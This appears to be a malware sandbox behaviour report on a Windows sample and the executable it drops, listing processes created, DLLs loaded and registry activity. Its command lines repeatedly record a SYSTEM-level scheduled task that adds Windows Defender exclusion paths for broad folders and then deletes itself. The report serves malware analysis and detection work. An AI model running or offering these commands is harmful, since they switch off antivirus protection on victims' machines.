Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Command line argument: tbcore3U.dll	44_2_00611000
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Command line argument: tbcore3U.dll	44_2_00611000
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Command line argument: .a	44_2_00612E30

Source: 153776434-874356550.05.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Documents\ocGsp4.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 153776434-874356550.05.exe

Virustotal: Detection: 12%

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

File read: C:\Users\user\Desktop\153776434-874356550.05.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\153776434-874356550.05.exe "C:\Users\user\Desktop\153776434-874356550.05.exe"
Source: unknown	Process created: C:\Users\user\Documents\ocGsp4.exe C:\Users\user\Documents\ocGsp4.exe
Source: unknown	Process created: C:\Users\user\Documents\ocGsp4.exe C:\Users\user\Documents\ocGsp4.exe
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Source: unknown	Process created: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Source: unknown	Process created: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe "C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe"
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo.>c:\xxxx.ini
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Program Files (x86)\SibbEG\SibbEG.exe "C:\Program Files (x86)\SibbEG\SibbEG.exe"
Source: unknown	Process created: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Source: unknown	Process created: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe "C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe"
Source: unknown	Process created: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Source: unknown	Process created: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe "C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe"
Source: unknown	Process created: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Source: unknown	Process created: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe "C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe"
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Program Files (x86)\SibbEG\SibbEG.exe "C:\Program Files (x86)\SibbEG\SibbEG.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo.>c:\xxxx.ini	Jump to behavior

Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: pid.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: hid.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: vselog.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: vselog.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
